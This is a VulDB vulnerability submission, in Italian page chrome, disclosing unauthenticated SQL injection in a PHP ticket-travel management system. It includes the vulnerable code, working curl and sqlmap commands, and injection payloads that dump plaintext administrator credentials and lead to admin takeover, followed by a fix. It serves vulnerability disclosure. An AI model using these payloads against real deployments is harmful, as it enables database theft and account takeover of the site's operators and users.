Invia #1060006: msaifulcsse Ticket-Travel-Management-System 15c7bc0b48c263233326bb227fef01efc54c24a7 SQL Injectioninformazioni

Titolomsaifulcsse Ticket-Travel-Management-System 15c7bc0b48c263233326bb227fef01efc54c24a7 SQL Injection
DescrizioneSUMMARY bus1.php, flight1.php and train1.php copy four POST parameters (dfrom, gto, ddate, rdate) straight into a SELECT statement that is executed with mysql_query() -- no escaping, no prepared statement, no whitelist. Because the application echoes every returned row into the result table, the injection is in-band and readable: boolean-based, time-based, error-based and UNION-based techniques all apply. The "login" table stores administrator and user passwords in plaintext and can be dumped in full, and one captured administrator credential is enough to authenticate through the legitimate login form and obtain the admin session. AFFECTED VERSION Commit 15c7bc0b48c263233326bb227fef01efc54c24a7 (HEAD, 2016-11-15) VULNERABILITY TYPE SQL Injection (CWE-89, in-band) AFFECTED CODE File: bus1.php:45-58 (flight1.php:45-58 and train1.php:45-58 are identical apart from the table name) if($_SERVER["REQUEST_METHOD"] == "POST") { $dfrom = $_POST['dfrom']; // line 45 -- unfiltered $gto = $_POST['gto']; // line 46 $ddate = $_POST['ddate']; // line 47 $rdate = $_POST['rdate']; // line 48 $sql = "select * from bus_trips"; if(!empty($_POST['rdate'])) $sql = "select * from bus_trips where (deptfrom like '$dfrom%' and goingto like '$gto%' and tourdate = '$ddate') or (deptfrom like '$gto%' and goingto like '$dfrom%' and tourdate = '$rdate') order by bus_id desc"; else $sql = "select * from bus_trips where deptfrom like '$dfrom%' and goingto like '$gto%' and tourdate = '$ddate' order by bus_id desc"; $result = mysql_query($sql); // line 58 -- sink The same sink exists in six files: - bus1.php:52,55 -> bus_trips - flight1.php:52,55 -> flight_trips - train1.php:52,55 -> train_trips - userpanel/userBus1.php:52,55 -> bus_trips - userpanel/userFlight1.php:52,55 -> flight_trips - userpanel/userTrain1.php:52,55 -> train_trips ROOT CAUSE The four search parameters are interpolated into the SQL text without mysqli_real_escape_string() or a prepared statement. The project contains 116 mysql_query() calls, and this handler set is the only reachable one that performs no escaping at all; adduser.php at least calls the deprecated mysql_escape_string(). The session guard at the top of each file is not an authorization check. bus1.php:3 tests $_SESSION["bus"], and bus.php:3 sets $_SESSION["bus"] = "index" for every visitor, exactly as index.php:3 sets $_SESSION["flight"] and train.php:3 sets $_SESSION["train"]. A session cookie obtained by one anonymous GET therefore satisfies the guard, so the injection is unauthenticated in practice. By contrast, adminpanel/busTripDelete.php:3 and adminpanel/flightTripDelete.php:3 do enforce isset($_SESSION["admin"]), which confirms the search handlers' guard is authorization only by accident. PAYLOAD SHAPE NOTE Every parameter is wrapped as '$dfrom%', so the trailing % is glued to the attacker string. A naive tautology such as ' or '1'='1 therefore evaluates to '1' = '1%' -- FALSE -- and returns zero rows. A working payload must terminate the left-hand side and comment out the remainder, for example x' or 1=1 #, which becomes: deptfrom like 'x' or 1=1 #%' and goingto like 'x%' and tourdate = '2024-01-01' order by bus_id desc The # must be URL-encoded as %23. The parameter is still exploitable, but it requires an in-line comment rather than a plain quote balance. STEPS TO REPRODUCE 1. Deploy the application on PHP 5.x + MySQL (the code uses the mysql_* extension, removed in PHP 7.0), with the database named "ticketmanagement" per mysqldb.php. The repository ships no .sql seed file, so the schema must be built from the column lists visible in the INSERT statements of adminpanel/adminBus.php:20, adminpanel/adminFlight.php:20 and adminpanel/adminTrain.php:20. 2. Warm up the session (anonymous, no credentials): curl -c jar.txt "http://TARGET/bus.php" 3. Send the tautology; every bus row is returned: curl -b jar.txt -d "dfrom=x' or 1=1 %23&gto=x&ddate=2024-01-01&rdate=" "http://TARGET/bus1.php" 4. Dump the database through the same parameter (see FOUR TECHNIQUES). The login table holds user_id, email, pass, acctype, and the password is stored in plaintext (adduser.php:17-18 only escapes the string, it never hashes it), so the dump directly yields administrator credentials. 5. Authenticate legitimately with the dumped account. login.php:11-20 selects * from "login" and compares the supplied e-mail and password against the row in PHP, then login.php:22-24 sets $_SESSION["admin"] and redirects to adminpanel/index.php, whose guard at lines 3-6 is now satisfied. No injection is needed at this stage; the disclosed plaintext credential is sufficient. FOUR TECHNIQUES - Boolean-based blind: bus1.php:75-101 iterates mysql_fetch_array() and echoes each field, so a TRUE predicate renders rows and a FALSE predicate renders an empty table; the two responses differ deterministically. - Time-based blind: dfrom = x' and if(1=1,sleep(5),0) # is valid because the predicate sits inside the WHERE clause of a normal SELECT and MySQL evaluates SLEEP() per matched row. - Error-based: on an invalid result mysql_query() emits a PHP warning carrying the MySQL error text, so extractvalue(1,concat(0x7e,(select version()))) reflects its output. This depends on display_errors=On, which is the default in the XAMPP development configuration the project targets. - UNION-based: bus_trips exposes 10 columns (bus_id plus the nine columns enumerated by adminpanel/adminBus.php:20), and the render loop reads named fields (b_name, deptfrom, goingto, tourdate, category, dept_time, arri_time, fare_per_seat, avai_seat), so a 10-column UNION payload prints its values directly inside the result table. Column ordinals must be taken from the actual DDL; sqlmap --columns derives them automatically. IMPACT An anonymous attacker can read every table in the "ticketmanagement" database: login (administrator and user credentials in plaintext), user_info (name, gender, phone, address), ticket_invoice, user_ticket_info, seat_info, coupon_info, contact_info and the three trip tables. Because the disclosed administrator password is reusable on the legitimate login form, the injection escalates to full administrative control: adding and deleting trips (adminBus.php / adminFlight.php / adminTrain.php), cascading deletion of ticket, invoice and seat records (busTripDelete.php, flightTripDelete.php, trainTripDelete.php), printing of all tickets, and reading of user messages. Confidentiality is fully compromised; integrity is compromised indirectly through the hijacked admin session; availability is not directly affected, although an administrator can destroy business records once inside. CVSS AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N -- 8.2 (High) Scored for the injection itself (read-only; mysql_query() does not support stacked queries). Evaluated as the complete exploitation chain -- dump plaintext credentials, then take over the admin session -- the same vector becomes C:H/I:H/A:N, i.e. 9.1 (Critical). VERIFICATION BASIS Source audit only (not deployed, not executed), repository cloned at HEAD 15c7bc0b48c263233326bb227fef01efc54c24a7. The cited commit 4e28b8f84d72420373dd15c3ae32900beb7e0635 does not exist in this repository's public history, which contains two commits in total. ===== FIELD: Advisory / Exploit 咨询/漏洞利用 ===== 1. SESSION WARM-UP (anonymous) curl -c jar.txt "http://TARGET/bus.php" 2. TAUTOLOGY -- returns the full bus_trips table curl -b jar.txt -d "dfrom=x' or 1=1 %23&gto=x&ddate=2024-01-01&rdate=" "http://TARGET/bus1.php" Equivalent POST body (URL-encoded): dfrom=x%27%20or%201%3D1%20%23&gto=x&ddate=2024-01-01&rdate= 3. AUTOMATED EXTRACTION sqlmap -u "http://TARGET/bus1.php" \ --data="dfrom=x&gto=x&ddate=2024-01-01&rdate=" \ --cookie="PHPSESSID=<value taken from jar.txt>" \ -p dfrom --dbms=mysql --level=3 --risk=2 --batch --dbs sqlmap ... -D ticketmanagement --tables sqlmap ... -D ticketmanagement -T login --dump If sqlmap fails to detect the boundary automatically (the closing quote is followed by a literal %), specify it explicitly: --prefix="'" --suffix="%'#" 4. ADMINISTRATOR TAKEOVER (legitimate login, no injection) curl -c jar2.txt -b jar2.txt -d "email=<dumped_email>&pass=<dumped_plaintext_pass>" \ "http://TARGET/login.php" -i | grep -i "^Location" Expected: Location: adminpanel/index.php 5. FIX (file:line) bus1.php:52,55 / flight1.php:52,55 / train1.php:52,55 and the three userpanel/ copies - Replace string concatenation with a prepared statement (PDO or mysqli with bind_param), or at minimum apply mysqli_real_escape_string() to dfrom, gto, ddate and rdate. - Do not rely on the session guard as an authorization control; grant search access explicitly
Utente
 LinJ (UID 102009)
Sottomissione27/10/2026 17:15 (29 giorni fa)
Moderazione25/11/2026 16:54 (29 days later)
StatoAccettato
Voce VulDB443911 [msaifulcsse Ticket-Travel-Management-System bus1.php dfrom/gto/ddate/rdate iniezione SQL]
Punti20

Interested in the pricing of exploits?

See the underground prices here!